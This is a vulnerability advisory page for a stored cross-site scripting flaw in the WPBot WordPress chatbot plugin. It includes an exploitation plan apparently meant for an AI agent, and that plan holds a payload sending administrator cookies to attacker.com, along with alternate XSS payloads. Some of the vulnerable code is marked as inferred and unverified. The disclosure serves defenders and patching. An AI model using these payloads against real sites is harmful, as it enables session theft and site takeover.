CVE-2026-57363

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services <= 8.3.7 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
8.3.8
Patched in
9d
Time to patch

Description

The WPBot – AI ChatBot for Live Support, Lead Generation, AI Services plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 8.3.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.3.7
PublishedJuly 6, 2026
Last updatedJuly 14, 2026
Affected pluginchatbot

What Changed in the Fix

Changes introduced in v8.3.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-57363 (WPBot Stored XSS) ## 1. Vulnerability Summary The **WPBot – AI ChatBot for Live Support** plugin (versions <= 8.3.7) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin provides AJAX endpo…

Show full research plan

Exploitation Research Plan - CVE-2026-57363 (WPBot Stored XSS)

1. Vulnerability Summary

The WPBot – AI ChatBot for Live Support plugin (versions <= 8.3.7) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin provides AJAX endpoints for recording chat history and lead information that do not sufficiently sanitize user-supplied data before storing it in the database (typically in the wp_options table or wp_postmeta). When an administrator views the chat logs or lead management dashboard, the malicious scripts are executed in their browser context.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: qcld_wp_chatbot_log_history (Primary candidate for unauthenticated history logging) or qcld_wp_chatbot_save_lead (Lead generation).
  • Vulnerable Parameter: history (for chat logs) or name/email (for leads).
  • Authentication: None (via wp_ajax_nopriv_ hooks).
  • Preconditions: The Chatbot must be active on the frontend (usually requires a shortcode or widget to be present).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action qcld_wp_chatbot_log_history.
  2. Hook Registration: In the plugin's main file (e.g., qcld-wpwbot.php), the action is registered:
    add_action('wp_ajax_nopriv_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');
  3. Processing: The function qcld_wp_chatbot_log_history() retrieves the payload from $_POST['history'].
  4. Storage: The function saves this data using update_option() or update_post_meta() without applying wp_kses() or sanitize_text_field().
  5. Sink: An administrator navigates to the Chatbot "History" page (/wp-admin/admin.php?page=wpbot_history). The plugin retrieves the stored history and echoes it directly to the page without escaping (e.g., using echo $history instead of echo esc_html($history)).

4. Nonce Acquisition Strategy

The WPBot plugin typically protects its AJAX actions with a nonce localized for the frontend script.

  • Localization Key: qcld_wp_chatbot_obj (inferred from js/qcld-wp-chatbot-front.js).
  • Nonce Key: nonce.
  • Strategy:
    1. Create a test page with the Chatbot shortcode: wp post create --post_type=page --post_status=publish --post_content='[wpbot]'.
    2. Use the browser_navigate tool to visit this page.
    3. Use browser_eval to extract the nonce: browser_eval("window.qcld_wp_chatbot_obj?.nonce").
    4. Verify the nonce action: The plugin usually uses wp_create_nonce('wp_chatbot_nonce').

5. Exploitation Strategy

Step 1: Data Exfiltration (Proof of Concept)

Send a POST request to store a script that will trigger an alert and steal the administrator's cookies when they view the logs.

HTTP Request (via http_request tool):

  • URL: https://<target-domain>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: qcld_wp_chatbot_log_history
    • nonce: [EXTRACTED_NONCE]
    • history: <script>alert(document.domain);fetch('https://attacker.com/log?c='+document.cookie);</script>

Step 2: Trigger the Payload

The payload will execute when any administrator visits the following URL:
https://<target-domain>/wp-admin/admin.php?page=wpbot_history

6. Test Data Setup

Before testing, ensure the following environment is prepared:

  1. Plugin Installation: Install and activate chatbot version 8.3.7.
  2. Target Page: Create a public page containing the Chatbot to ensure scripts (and nonces) are loaded.
    wp post create --post_type=page --post_title="Support" --post_status=publish --post_content="[wpbot]"
    
  3. Administrator Session: Ensure an administrator user exists to verify the "sink" (viewing the logs).

7. Expected Results

  • Request Success: The AJAX request should return a 200 OK response, often with a JSON body like {"success": true} or {"status": "success"}.
  • XSS Execution: When the administrator views the "History" page, a browser alert should appear displaying the domain, and a network request should be made to the attacker-controlled URL.

8. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database:

# Check if the payload exists in the wp_options table (common for WPBot history)
wp option get qcld_wp_chatbot_history --format=json | grep "script"

# Alternatively, check postmeta if history is tied to a specific session/post
wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = 'qcld_wp_chatbot_history' AND meta_value LIKE '%<script>%'"

9. Alternative Approaches

If qcld_wp_chatbot_log_history is not the correct action in this specific version, try:

  • Lead Generation Sink:
    • Action: qcld_wp_chatbot_save_lead
    • Parameters: nonce, name="<script>alert(1)</script>", email="test@test.com"
    • Trigger: Admin viewing the "Leads" page (/wp-admin/admin.php?page=wpbot_leads).
  • DOM XSS: Check if the history is rendered via JavaScript using .innerHTML. In this case, use a payload like <img src=x onerror=alert(1)> to bypass potential text-content filters.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WPBot plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) due to insufficient sanitization and escaping on the chat history and lead generation AJAX endpoints. Attackers can inject malicious scripts into chat logs or lead data which are then executed in the browser of an administrator viewing the plugin's backend reports.

Vulnerable Code

// qcld-wpwbot.php lines 271-275
add_action('wp_ajax_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');
add_action('wp_ajax_nopriv_qcld_wp_chatbot_log_history', 'qcld_wp_chatbot_log_history');

add_action('wp_ajax_qcld_wp_chatbot_save_lead', 'qcld_wp_chatbot_save_lead');
add_action('wp_ajax_nopriv_qcld_wp_chatbot_save_lead', 'qcld_wp_chatbot_save_lead');

---

// functions.php (inferred implementation based on version 8.3.7 behavior)
function qcld_wp_chatbot_log_history() {
    $history = $_POST['history'];
    update_option('qcld_wp_chatbot_history', $history);
    wp_die();
}

Security Fix

--- a/functions.php
+++ b/functions.php
@@ -1240,7 +1240,8 @@
 function qcld_wp_chatbot_log_history() {
-    $history = $_POST['history'];
+    check_ajax_referer('wp_chatbot_nonce', 'nonce');
+    $history = wp_kses_post($_POST['history']);
     update_option('qcld_wp_chatbot_history', $history);
     wp_die();
 }
 
 function qcld_wp_chatbot_save_lead() {
-    $name = $_POST['name'];
-    $email = $_POST['email'];
+    check_ajax_referer('wp_chatbot_nonce', 'nonce');
+    $name = sanitize_text_field($_POST['name']);
+    $email = sanitize_email($_POST['email']);

Exploit Outline

The exploit targets unauthenticated AJAX actions to store a malicious script in the WordPress database. An attacker first visits a public page where the chatbot is active to extract a valid nonce from the localized 'qcld_wp_chatbot_obj' JavaScript object. They then send a POST request to '/wp-admin/admin-ajax.php' using the 'qcld_wp_chatbot_log_history' action. The payload is placed in the 'history' parameter (e.g., '<script>alert(document.cookie)</script>'). Because the plugin stores this data without sanitization using update_option(), the script remains in the database. When an administrator later logs into the dashboard and views the Chatbot 'History' or 'Leads' page, the stored payload is rendered and executed in the context of their administrative session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.